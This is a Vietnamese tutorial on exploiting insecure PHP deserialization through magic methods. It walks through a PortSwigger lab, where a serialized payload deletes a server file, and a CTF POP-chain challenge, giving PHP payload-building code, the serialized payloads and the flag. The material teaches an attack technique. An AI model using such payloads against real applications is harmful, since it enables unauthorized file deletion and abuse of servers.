Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 3)
II. Lỗ hổng deserialization trong ngôn ngữ PHP (tiếp)
4. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 1
Ở phần trước chúng ta đã tìm hiểu về khái niệm, công dụng của một số magic methods trong PHP. Để tận dụng được chúng đòi hỏi kẻ tấn công cần hiểu về luồng hoạt động của mã nguồn ứng dụng, thêm phần tư duy nhạy bén mới có thể kết hợp khéo léo từng thành phần methods. Trong bài viết tôi sẽ cố gắng cùng bạn đọc phân tích kỹ một vài ví dụ điển hình nhằm giúp bạn đọc có thể hình dung được quá trình payload được xây dựng trong dạng lỗ hổng này.
Phân tích bài lab Arbitrary object injection in PHP.
Sau khi đăng nhập, nhận thấy ứng dụng sử dụng serialization trong session:
Quan sát mã nguồn front-end, ứng dụng đã để lộ đường dẫn tới tệp tin CustomTemplate.php
, nhưng không thể truy cập:
Tuy nhiên file backup CustomTemplate.php~
chưa bị xóa nên chúng ta có thể đọc được nội dung file:
Như vậy chúng ta có thông tin về lớp CustomTemplate
của ứng dụng. Chú ý phương thức __destruct()
của lớp này:
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
Đọc hiểu luồng hoạt động của phương thức: Nếu tồn tại tệp tin có đường dẫn $this->lock_file_path
sẽ thực hiện hàm unlink()
xóa tệp tin này. Ý tưởng đã khá rõ ràng, nếu kẻ tấn công có thể lợi dụng quá trình deserialization của ứng dụng nhằm xóa bất kỳ tệp tin nào trong hệ thống nếu họ biết chính xác đường dẫn.
Xây dựng script tạo payload xóa tệp tin /home/carlos/morale.txt
do bài lab yêu cầu:
class CustomTemplate {
private $template_file_path;
private $lock_file_path = "/home/carlos/morale.txt";
}
$payload = new CustomTemplate();
echo urlencode(base64_encode(serialize($payload)));
// TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzQ6IgBDdXN0b21UZW1wbGF0ZQB0ZW1wbGF0ZV9maWxlX3BhdGgiO047czozMDoiAEN1c3RvbVRlbXBsYXRlAGxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3D%3D
Thay payload trên vào session và gửi tới server, tuy response trả về status code nhưng hệ thống đã thực hiện deserialization session mới và tệp tin /home/carlos/morale.txt
đã bị xóa, bài lab hoàn thành:
5. Khai thác lỗ hổng deserialization với các magic methods trong PHP - Ví dụ 2
Một ví dụ tiếp theo được tôi lựa chọn là một challenge CTF về khai thác lỗ hổng deserialization có độ khó cao hơn. Bạn đọc có thể tự thử sức trước khi theo dõi phần phân tích phía dưới PHP - Unserialize Pop Chain.
Challenge cho phép người dùng submit chuỗi văn bản qua ô input.
Từ source code được cung cấp, nhận thấy rằng trang web tiến hành deserialize chuỗi input chúng ta submit:
if (isset($_POST["data"]) && !empty($_POST["data"])) {
unserialize($_POST["data"]);
}
Ngoài ra có hai lớp GetMessage()
, WakyWaky()
cùng với biến $getflag
mang giá trị false
. Lần lượt phân tích thành phần của từng lớp.
class GetMessage {
function __construct($receive) {
if ($receive === "HelloBooooooy") {
die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
} else {
$this->receive = $receive;
}
}
function __toString() {
return $this->receive;
}
function __destruct() {
global $getflag;
if ($this->receive !== "HelloBooooooy") {
die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
} else {
if ($getflag) {
include("flag.php");
echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG."<br>";
}
}
}
}
Lớp GetMessage()
:
- Phương thức khởi tạo
__construct()
làm việc với thuộc tính$receive
. Nếu$receive
có giá trịHelloBooooooy
sẽ in thông báo ra màn hình với hàmdie()
, kết thúc script đang chạy. Ngược lại, gán giá trị$this->receive = $receive
. - Phương thức
__toString()
trả về$this->receive
khi đối tượng thuộc lớp này được thực thi với vai trò là string. - Phương thức
__destruct()
tiếp tục kiểm tra biến$receive
, nếu giá trị khácHelloBooooooy
sẽ in thông báo ra màn hình với hàmdie()
, kết thúc script đang chạy. Ngược lại, kiểm tra điều kiện nếu$getflag
là true sẽ in ra thông báo kèm theo flag của challenge.
Từ đây chúng ta nhận thấy để lấy được flag thì các điều kiện sau cần đồng thời thỏa mãn:
- Điều kiện : Đối tượng thuộc lớp
GetMessage()
tại thời điểm khởi tạo có thuộc tínhreceive
khácHelloBooooooy
. - Điều kiện : Tại thời điểm thực hiện phương thức
__destruct()
, thuộc tínhreceive
có giá trị bằngHelloBooooooy
. - Điều kiện : Tại thời điểm thực hiện phương thức
__destruct()
, biến$getflag
có giá trị true.
Ngoài ra chúng ta có thêm lớp WakyWaky()
:
class WakyWaky {
function __wakeup() {
echo "[YOU]: ".$this->msg."<br>";
}
function __toString() {
global $getflag;
$getflag = true;
return (new GetMessage($this->msg))->receive;
}
}
Trong lớp WakyWaky()
:
- Phương thức
__wakeup()
được gọi khi thực thi hàmunserialize()
. - Phương thức
__toString()
được gọi khi đối tượng thuộc lớpWakyWaky()
được thực thi với vai trò là string. Chú ý rằng phương thức này đổi giá trị$getflag
thành true, giá trị trả về(new GetMessage($this->msg))->receive
khai báo một đối tượng mới thuộc lớpGetMessage()
có thuộc tínhreceive
nhận giá trị$this->msg
(của đối tượng thuộc lớpWakyWaky()
đang thực thi phương thứctoString()
), cuối cùng trả về chính thuộc tínhreceive
này. (Bạn đọc có thể hiểu đơn giản là trả về$this->msg
)
Từ các phân tích phía trên, chúng ta cùng lần lượt giải quyết các điều kiện.
Điều kiện giải quyết đơn giản:
$a = new GetMessage("viblo");
Điều kiện được thỏa mãn nếu sau khi thực hiện phương thức __construct()
, thuộc tính receive
nhận giá trị HelloBooooooy
, chúng ta chỉ cần định nghĩa lại giá trị này sau khi khởi tạo đối tượng:
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
Lúc này, với payload $payload = serialize($a)
, khi server thực hiện deserialize thì luồng code trong phương thức __destruct()
thuộc lớp GetMessage()
sẽ rẽ vào nhánh else. Bạn đọc có thể thực hiện debug với đoạn code (coi đây là sự kiện ):
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$payload = serialize($a);
unserialize($payload);
Cuối cùng cần tìm cách để điều kiện được thỏa mãn, như vậy cần gọi phương thức __toString()
thuộc lớp WakyWaky()
. Đầu tiên, khai báo một đối tượng mới và đối tượng này cần được thực thi với vai trò là string (coi đây là sự kiện ):
$b = new WakyWaky();
echo $b;
Đến đây, chúng ta cần tìm cách "nối" hai sự kiện trên với nhau, để khi server thực hiện deserialization, sự kiện xảy ra và dẫn đến sự kiện . Mấu chốt để thực hiện được phép "nối" này chính là giá trị trả về trong phương thức __toString()
thuộc lớp WakyWaky()
vì khởi tạo một đối tượng mới thuộc lớp GetMessage()
. Do vậy chúng ta có thể gán đối tượng $a
vào thuộc tính msg
của đối tượng $b
, để server deserialize đối tượng $b
.
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$b = new WakyWaky();
$b->msg = $a;
echo $b;
$payload = serialize($b);
unserialize($payload);
Đến đây, còn một vấn đề chúng ta cần xử lý, đó là server không thể "tự động" thực hiện echo $b;
trước khi deserialize được. Nên chúng ta cần tìm cách kích hoạt công việc "thực thi $b
như string" một cách tự động. Giải quyết bằng cách tạo thêm một đối tượng mới thuộc lớp WakyWaky()
và gán giá trị $b
vào thuộc tính msg
của đối tượng mới (tận dụng phương thức __wakeup()
)
$a = new GetMessage("viblo");
$a->receive = "HelloBooooooy";
$b = new WakyWaky();
$b->msg = $a;
$c = new WakyWaky();
$c->msg = $b;
$payload = serialize($c);
// echo $payload;
unserialize($payload);
Thu được payload: O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}}
Kết quả:
Luồng code hoạt động tại server như sau:
- Thực hiện deserialize đối tượng
$payload
, gọi phương thức__wakeup()
thuộc lớpWakyWaky()
xử lý$c->msg
ở dạng chuỗi (lúc này là$b
). - Đối tượng
$b
được xử lý như dạng chuỗi nên gọi phương thức__toString
thuộc lớpWakyWaky()
, đổi giá trị global$getflag=true
, trả về(new GetMessage($this->msg))->receive
. (new GetMessage($this->msg))->receive
khai báo một đối tượng mới (giả sử là$x
) thuộc lớpGetMessage()
với thuộc tínhreceive
lúc này là$this->msg = $b->msg = $a
, trả về$x->receive = $a
.- Đối tượng
$a
được thực thi như string nên gọi phương thức__toString()
thuộc lớpGetMessage()
, trả về$this->receive = $a->receive = "HelloBooooooy"
. Từ đó in ra màn hình:[YOU]: HelloBooooooy
- Đối tượng
$x
do không được sử dụng tới nên thực hiện tự hủy, gọi phương thức__destruct()
in ra màn hình[FRIEND]: Hm.. you don't see to be the friend I was waiting for..
với hàmdie()
(do$x->receive !== "HelloBooooooy"
). - Hàm
die()
kết thúc script nên phương thức__destruct()
của$a
được gọi, do$a->receive === "HelloBooooooy"
và$getflag = true
nên in ra dòng thông báo cuối cùng kèm flag của challenge này:[FRIEND]: Oh ! Hi! Let me show you my secret: uns3r14liz3_p0p_ch41n_r0cks
Bạn đọc có thể luyện tập thêm kỹ năng xây dựng payload này với bài lab Developing a custom gadget chain for PHP deserialization.
Các tài liệu tham khảo
- https://portswigger.net/web-security/deserialization
- https://www.php.net/manual/en/language.oop5.magic.php
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved